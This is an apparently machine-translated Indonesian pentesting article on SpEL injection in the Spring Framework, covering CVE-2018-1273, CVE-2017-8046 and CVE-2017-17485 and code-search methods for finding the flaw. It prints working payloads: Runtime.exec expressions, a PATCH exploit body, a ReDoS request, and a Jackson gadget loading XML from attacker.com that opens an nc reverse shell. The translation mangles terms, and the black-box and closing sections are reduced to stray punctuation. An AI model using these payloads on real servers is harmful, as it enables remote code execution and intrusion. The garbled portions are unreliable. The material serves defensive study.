
Intro
Dalam proses bekerja dan meneliti berbagai layanan, kita dapat semakin memenuhi Kerangka Kerja Pegas. Dan langkah logisnya adalah berkenalan dengan strukturnya dan kemungkinan kerentanannya.
Yang paling menarik untuk setiap Pentester adalah kerentanan yang mengarah pada eksekusi kode.
Salah satu cara untuk mendapatkan RCE di Spring adalah dengan menyuntikkan ekspresi SpEL.
Pada artikel ini kami akan mencoba memahami apa itu SpEL, di mana dapat ditemukan, apa fitur penggunaan dan bagaimana menemukan suntikan tersebut.
Apa?
SpEL adalah bahasa ekspresi yang dibuat untuk Kerangka Kerja Pegas yang mendukung permintaan dan manajemen grafik objek saat runtime.
Penting juga untuk dicatat bahwa SpEL dibuat sebagai API yang memungkinkan Anda untuk mengintegrasikannya ke dalam aplikasi dan kerangka kerja lain.
Di mana saya bisa bertemu?
Adalah logis bahwa dalam Spring Framework SpEL digunakan sepanjang waktu. Contoh yang baik adalah Spring Security, di mana hak diberikan menggunakan ekspresi SpEL:
@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission);

Apache Camel menggunakan API SpEL; Di bawah ini adalah contoh dari dokumentasinya.
Pembentukan huruf menggunakan ekspresi SpEL:
<route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route>
Atau Anda dapat menggunakan aturan dari file eksternal, misalnya, untuk menentukan Header:
.setHeader("myHeader").spel("resource:classpath:myspel.txt")
Berikut adalah beberapa contoh yang terlihat di GitHub:
https://github.com/jpatokal/openflights

https://github.com/hbandi/LEP

Kerangka Pegas dan Dasar-Dasar SpEL
Untuk membuatnya lebih mudah bagi pembaca untuk memahami apa itu injeksi SpEL, Anda perlu mengenal sedikit Spring dan SpEL.
Elemen kunci dari Spring Framework adalah Spring Container. Wadah menciptakan objek, mengikat mereka bersama, mengkonfigurasi dan mengelola mereka dari penciptaan hingga kehancuran.
Untuk mengontrol komponen yang membentuk aplikasi, Spring Container menggunakan
Injeksi Ketergantungan. Ini adalah ketika objek dikonfigurasi menggunakan entitas eksternal yang disebut Spring Beans - bahasa sehari-hari disebut "kacang."
Spring Container mengambil metadata konfigurasi dari bean yang diperlukan untuk mendapatkan informasi berikut: instruksi tentang objek apa yang akan dipakai dan bagaimana mengkonfigurasinya melalui metadata.
Metadata dapat diperoleh dalam 3 cara:
Dan poin penting lainnya bagi kita adalah Konteks Aplikasi.
ApplicationContext adalah antarmuka utama dalam aplikasi Spring yang menyediakan informasi konfigurasi aplikasi. Ini hanya-baca saat runtime, tetapi dapat dimuat ulang jika perlu dan didukung oleh aplikasi. Jumlah kelas yang mengimplementasikan antarmuka ApplicationContext tersedia untuk berbagai parameter konfigurasi dan jenis aplikasi. Bahkan, itu adalah aplikasi Spring itu sendiri. Konteksnya juga menyediakan kemampuan untuk merespons berbagai peristiwa yang terjadi dalam aplikasi, dan untuk mengontrol siklus hidup kacang.

Sekarang mari kita memikirkan metode mendefinisikan kacang dan menggunakan ekspresi SpEL.
Bean.xml
Contoh penggunaan tipikal adalah integrasi SpEL ke dalam penciptaan definisi komponen-komponen kacang XML atau beranotasi:
<bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean>
Ini adalah bagian dari kode dalam file Bean.xml, hanya untuk satu kacang. Sebaiknya perhatikan id tempat sampah, yang dapat diakses, dan properti. Karena Sebagai bagian dari artikel ini kami mempertimbangkan kemungkinan menggunakan SpEL, maka dalam contoh beberapa opsi untuk menulis ekspresi seperti itu akan diberikan.
Untuk menunjukkan kepada Spring bahwa ekspresi SpEL datang berikutnya, karakter # digunakan, dan ekspresi itu sendiri dilampirkan dalam kurung: #{SpEL_expression}
. Properti dapat dirujuk menggunakan $ karakter dan melampirkan nama properti di kurung kurawal: ${someProperty}
. Penampung properti tidak dapat berisi ekspresi SpEL, tetapi ekspresi dapat berisi referensi properti:
"#{${someProperty}"
Dengan demikian, Anda dapat memanggil kelas Java apa pun yang kami butuhkan atau, misalnya, variabel lingkungan akses, yang dapat berguna untuk menentukan nama pengguna atau versi sistem.
Kenyamanan metode ini dalam menentukan kacang adalah kemampuan untuk mengubahnya tanpa mengkompilasi ulang seluruh aplikasi, sehingga mengubah perilaku aplikasi.
Dari aplikasi itu sendiri, Anda dapat mengakses kacang ini menggunakan antarmuka ApplicationContext, seperti yang ditunjukkan di bawah ini:
ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2());
Yaitu di dalam aplikasi, kita cukup mendapatkan nilai-nilai parameter bin yang berisi ekspresi SpEL. Spring, setelah menerima nilai seperti itu, mengeksekusi ekspresi dan mengembalikan hasil akhir. Juga, jangan lupa bahwa kode ini tidak akan berfungsi tanpa getter yang sesuai, tetapi deskripsi mereka berada di luar cakupan artikel.
Cara lain untuk menentukan kacang adalah metode anotasi AnnotationBase - nilai parameter diatur di dalam anotasi untuk beberapa kelas. Dalam hal ini, penggunaan variabel tidak dimungkinkan.
public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } }
Agar dapat menggunakan variabel, saat membuat ekspresi SpEL, kita perlu menggunakan antarmuka ExpressionParser. Dan kemudian sebuah kelas muncul di kode aplikasi, mirip dengan contoh berikut:
public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class);
ExpressionParser mengubah ekspresi string menjadi objek Ekspresi. Dengan demikian, nilai ekspresi yang dianalisis dapat diperoleh dalam kerangka kerja EvaluationContext. EvaluationContext ini akan menjadi satu-satunya objek dari mana semua properti dan variabel dalam string EL akan tersedia.
Perlu dicatat fakta penting lainnya. Dengan metode ini menggunakan SpEL, kita hanya perlu ekspresi string untuk mengandung # jika, selain ekspresi itu sendiri, itu berisi string literal.
Dari semua hal di atas, ada baiknya mengingat dua hal:
1) Jika dimungkinkan untuk mencari berdasarkan kode aplikasi, maka Anda perlu mencari kata kunci seperti: SpelExpressionParser, EvaluationContext dan parseExpression.
2) Pointer penting untuk Spring #{SpEL}
, ${someProperty}
dan T(javaclass)
Jika Anda ingin membaca lebih lanjut tentang Spring dan SpEL, kami sarankan Anda memperhatikan dokumentasi docs.spring.io .
Apa yang bisa dilakukan SpEL?
Menurut dokumentasi, SpEL mendukung fungsi berikut:
- Ekspresi literal
- Boolean dan operator relasional
- Ekspresi reguler
- Ekspresi kelas
- Mengakses properti, array, daftar, peta
- Doa metode
- Operator relasional
- Penugasan
- Memanggil konstruktor
- Referensi kacang
- Konstruksi array
- Daftar sebaris
- Peta sebaris
- Operator ternary
- Variabel
- Fungsi yang ditentukan pengguna
- Proyeksi koleksi
- Koleksi pilihan
- Ekspresi templated
Seperti yang dapat kita lihat, fungsi SpEL sangat kaya, dan ini dapat mempengaruhi keamanan proyek jika input pengguna masuk ke ExpressionParser. Oleh karena itu, Spring sendiri merekomendasikan untuk menggunakan, alih-alih StandardEcalutionContext yang berfungsi penuh, SimpleEvaluationContext yang lebih sederhana.
Singkatnya, yang penting bagi kami, SimpleEvaluationContext tidak memiliki kemampuan untuk mengakses kelas Java dan referensi kacang lainnya.
Deskripsi lengkap fitur sebaiknya dipelajari di situs web dokumentasi:
KonteksKonteks Evaluasi
SimpleEvaluationContext
Beberapa koreksi bahkan didasarkan pada perbedaan dalam fungsi SpEL, yang berjalan dalam konteks yang berbeda, tetapi kita akan membicarakannya nanti.
Untuk membuat semuanya benar-benar jelas, kami memberikan contoh. Kami memiliki garis yang jelas berbahaya yang mengandung ekspresi SpEL:
String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')";
Dan ada dua konteks:
StandardEvaluationContext std_c = new StandardEvaluationContext();
dan
EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Ekspresi exp = parser.parseExpression (inj);
java exp.getValue(std_c);
- kalkulator akan diluncurkan
java exp.getValue(simple_c);
- kami akan mendapatkan pesan kesalahan
Poin yang sama menariknya adalah kita dapat mulai memproses ekspresi tanpa menentukan konteks apa pun: exp.getValue();
Dalam kasus ini, ekspresi akan dieksekusi dalam konteks standar dan, sebagai akibatnya, kode jahat akan dieksekusi. Karena itu, jika Anda seorang programmer dan gunakan Spring - jangan pernah lupa untuk mengatur konteks di mana ekspresi harus dieksekusi.
Kami mengatakan sedikit sebelumnya bahwa beberapa koreksi dibangun di atas perbedaan antara kemampuan SpEL dalam konteks. Pertimbangkan contoh perbaikan semacam itu.
CVE 2018-1273 Spring Data Commons
Kerentanan ini ditemukan dalam metode setPropertyValue dan didasarkan pada dua masalah:
1) Sanitasi yang tidak memadai dari nilai-nilai variabel yang termasuk dalam ExpressionParser.
2) Eksekusi ekspresi dalam bingkai konteks standar.
Berikut adalah tangkapan layar bagian yang rentan dari kode:

Karena nama properti tidak memerlukan pemrosesan kompleks dalam kerangka SpEL; solusi logisnya adalah mengganti konteks, menghasilkan kode berikut:

Tangkapan layar menunjukkan bagian-bagian kode yang mengatur konteks dan ekspresi yang akan dieksekusi. Tetapi eksekusi ekspresi terjadi di tempat lain:
expression.setValue(context, value);
Di sinilah ditunjukkan bahwa kami mengeksekusi ekspresi SpEL untuk nilai nilai dalam konteks yang diberikan.
Menggunakan SimpleEvaluationContext membantu melindungi terhadap implementasi Java Class di parseExpression, dan sekarang alih-alih mengeksekusi kode di log server, kita akan melihat kesalahan:
Type cannot be found 'java.lang.Runtime'
Tetapi ini tidak menyelesaikan masalah dengan kurangnya sanitasi dan mempertahankan kemampuan untuk melakukan serangan ulang:
curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test"
Oleh karena itu, perbaikan selanjutnya sudah termasuk membersihkan nama parameter.
Dari teori ke praktek!
Sekarang mari kita lihat beberapa cara untuk mencari injeksi SpEL menggunakan metode Kotak Putih.
Langkah demi langkah CVE-2017-8046
Pertama, Anda perlu menemukan tempat untuk memproses ekspresi SpEL. Untuk melakukan ini, Anda cukup menggunakan rekomendasi kami dan menemukan kata kunci dalam kode. Ingat kata-kata ini: SpelExpressionParser, EvaluationContext, dan parseExpression.
Pilihan lain adalah menggunakan berbagai plugin untuk menemukan kesalahan dalam kode. Sejauh ini, satu-satunya plugin yang menunjukkan kemungkinan injeksi SpEL adalah foundecbugs-cli.
https://github.com/find-sec-bugs
Jadi, kami menemukan tempat kami tertarik pada kode. Katakanlah menggunakan findsecbugs-cli:

Dalam kode aplikasi, kita akan melihat yang berikut:
public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); }
Langkah selanjutnya adalah mencari tahu di mana variabel path masuk ke parser ekspresi. Salah satu cara yang lebih mudah dan gratis adalah dengan menggunakan fungsi IDE IntelijIdea - Analisis Dataflow:

Dengan membuka gulungan rantai, misalnya, untuk mengganti dan mempelajari metode dan kelas yang ditentukan, kita mendapatkan yang berikut:
Metode ReplaceOperation mengambil nilai variabel path.
public ReplaceOperation(String path, Object value) { super("replace", path, value); }
Dan untuk memanggil metode ganti, Anda harus meneruskan variabel "op" dengan nilai "ganti" ke JSON.
JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value));
Demikian pula, kami menemukan semua tempat di mana pengguna dapat memberikan nilai yang dibutuhkannya ke variabel path. Dan kemudian salah satu opsi eksploitasi untuk kerentanan akan terlihat seperti ini:
Metode Permintaan: PATCH
Badan permintaan:
[{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]
Menggunakan LGTM QL
Menggunakan LGTM QL (untuk keperluan artikel ini, kami cukup menguranginya menjadi QL) adalah cara lain yang menarik untuk mencari kerentanan.
https://lgtm.com
Ini harus segera menetapkan kekurangannya. Gratis, Anda dapat menganalisis hanya proyek yang ada di gudang terbuka di GitHub, karena Untuk mengambil gambar proyek, LGTM mengunggah proyek ke servernya dan mengkompilasinya di sana. Tetapi jika ini tidak mengganggu Anda, maka LGTM QL akan membuka peluang besar bagi Anda dalam menganalisis kode aplikasi.
Jadi apa itu analisis aplikasi QL?
Untuk memulainya, seperti yang sudah kami katakan, Anda harus membuat snapshot aplikasi.
Ketika snapshot siap, dan ini mungkin memakan waktu beberapa jam, Anda bisa mulai menulis kueri seperti SQL sebagai bagian dari sintaks QL. Untuk melakukan ini, Anda dapat menggunakan plugin untuk Eclipse atau bertindak langsung di konsol pada halaman QL proyek.
Karena Sekarang kami sedang mempertimbangkan Spring, dan ini adalah kerangka kerja untuk Java, Anda perlu menggambarkan kelas yang menarik bagi Anda dan metode dari kelas ini, panggilan yang dianggap rentan. Bagi kami, ini adalah kelas apa pun yang berisi metode yang memanggil ExpressionParser.
Kemudian kami membuat pilihan semua metode yang memenuhi persyaratan kami, misalnya, dengan menggambarkan terjadinya variabel dalam metode yang akan membersihkan dan kondisi tidak jatuh ke dalam metode ini.

Jadi, apa yang perlu dilakukan untuk menemukan kerentanan CVE 2018-1273?
Setelah menerima dan menghubungkan gambar proyek, kami menggunakan konsol QL untuk menggambarkan pohon panggilan yang menarik minat kami. Untuk melakukan ini:
Kami menggambarkan kelas parser Ekspresi:
class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } }
Dan metode yang bisa digunakan untuk eksekusi di dalam kelas ExpressionParser:
class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } }
Sekarang Anda harus menghubungkan deskripsi ini satu sama lain dan membuat pilihan:
from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr
Kueri seperti itu akan mengembalikan semua metode yang dimulai dengan parse atau dengan nama doParseExpression yang akan menjadi milik kelas ExpressionParser. Tapi itu terlalu banyak, katamu, dan kamu akan benar. Diperlukan filter.
Karena dalam kode ada komentar berupa:
* Converts a patch path to an {@link Expression}. * * @param path the patch path to convert.
Itu bisa, misalnya, pencarian "jalan" di Javadoc. Beri komentar pada kodenya dalam kualitas yang sangat tinggi, dan kami dapat menemukan panggilan metode dengan komentar yang diperlukan, dan pada saat yang sama menghapus semua metode yang termasuk dalam pengujian. Semua ini dapat digambarkan sebagai berikut:
class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } }
Kemudian, untuk menggabungkan kelas, metode, dan filter oleh Javadoc, kueri untuk pemilihan akan mengambil bentuk berikut:
from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c
Contoh ini dapat dianggap sederhana dan, secara umum, berlebihan untuk mencari kerentanan tertentu. Jauh lebih menarik adalah mencari kesalahan saat menulis perbaikan, karena di dalamnya, Anda perlu menentukan kelas itu sendiri, yang bertanggung jawab untuk memeriksa, metode yang selalu memanggilnya dan yang dieksekusi sebelum diperiksa.
Panggilan ke metode yang selalu memanggil verifikasiPath:
class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } }
Panggilan ke metode yang dijalankan sebelum memverifikasiPath:
class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } }
Pertimbangkan kerentanan lain yang menarik. Pemahamannya sangat penting, karena itu menunjukkan bahwa kesalahan mungkin di perpustakaan pihak ketiga, dan menunjukkan bagaimana kacang XML beranotasi dapat digunakan.
Jackson dan kacang
CVE-2017-17485 didasarkan pada penggunaan FileSystemXmlApplicationContext - itu adalah konteks aplikasi yang berdiri sendiri dalam bentuk XML yang menerima file definisi konteks dari sistem file atau dari URL.
Menurut dokumentasi, ini memungkinkan Anda untuk memuat kacang dari file dan memuat kembali konteks aplikasi.
"... Buat FileSystemXmlApplicationContext baru, memuat definisi dari file XML yang diberikan dan secara otomatis menyegarkan konteksnya"
Jackson adalah pustaka yang memungkinkan Anda untuk membuat serial dan deserialisasi objek apa pun kecuali yang masuk daftar hitam. Peluang ini sering digunakan oleh penyerang. Dalam hal kerentanan ini, penyerang harus melewati org.springframework.context.support.FileSystemXmlApplicationContext
objek dengan nilai yang berisi path ke file yang dikendalikan oleh penyerang.
Yaitu di badan permintaan Anda bisa melewati JSON berikut:
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]}
Spel.xml akan berisi parameter bin:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans>
Karena Karena kami menggunakan kelas java.lang.ProcessBuilder, yang memiliki metode mulai, setelah memuat ulang konteksnya, Spring membaca ekspresi yang memulai ProcessBuilder dari properti SpEL, sehingga memaksa server untuk terhubung ke kami menggunakan nc.
Perlu memperhatikan spel.xml yang diberikan sebagai contoh, sebagai ini menunjukkan cara untuk melewatkan parameter saat menjalankan perintah.
Dan dengan cara apa lagi kita dapat memuat kacang kita atau memuat ulang konteksnya?
Bahkan dengan melihat sekilas pada dokumentasi Spring, Anda dapat menemukan beberapa kelas lagi yang mungkin berguna bagi kami.
ClassPathXmlApplicationContext dan AbstractXmlApplicationContext mirip dengan FileSystem, tetapi ClassPath- dan XML-annotated beans masing-masing digunakan sebagai jalur konfigurasi.
Ada hal menarik lainnya terkait reload konteks - @RefreshScope.
Semua Spring Bean yang dianotasi dengan @RefreshScope akan diperbarui saat peluncuran. Dan semua komponen yang menggunakannya akan menerima objek baru pada saat metode ini dipanggil, mereka akan sepenuhnya diinisialisasi dan diperkenalkan tergantung.
RefreshScope adalah komponen dalam konteks, dan ia memiliki metode refreshAll publik yang dirancang untuk memperbarui semua komponen di suatu daerah dengan membersihkan cache target. Oleh karena itu, ketika menggunakan @RefreshScope, pengguna dapat mengakses URL yang diakhiri dengan / refresh, dan dengan demikian memuat ulang kacang beranotasi.
Utilitas lain
Ada banyak plugin dan program lain yang memungkinkan Anda untuk menganalisis kode dan menemukan kerentanannya.
- Jprofiler - diinstal sebagai aplikasi terpisah - server dan plugin untuk IDE. Memungkinkan Anda menganalisis aplikasi yang sedang berjalan. Sangat mudah untuk menganalisis perilaku objek melalui grafik.

Dari minus - dibayar, tetapi memiliki masa bebas 10 hari. Ini dianggap sebagai salah satu utilitas terbaik untuk menganalisis perilaku aplikasi, tidak hanya dari sudut pandang keamanan.
Black Box
-, .
, : Spring, SpEL, , SpEL API, -, .
spring, URL, API. /metrics /beans — Spring Boot Actuator , .
, .
, SpEL , , .
- :
var[SpEL]=123
- :
&variable1=123&SpEL=
- : org.springframework.cookie =
${}
- ..
:
${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name}
SpEL
SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .
ZeroNights : “ , Spring, SpEL injection?”
, CVE, . , , github.
, , SpEL Expression. Yaitu (, ) , .
Yaitu . , , “” .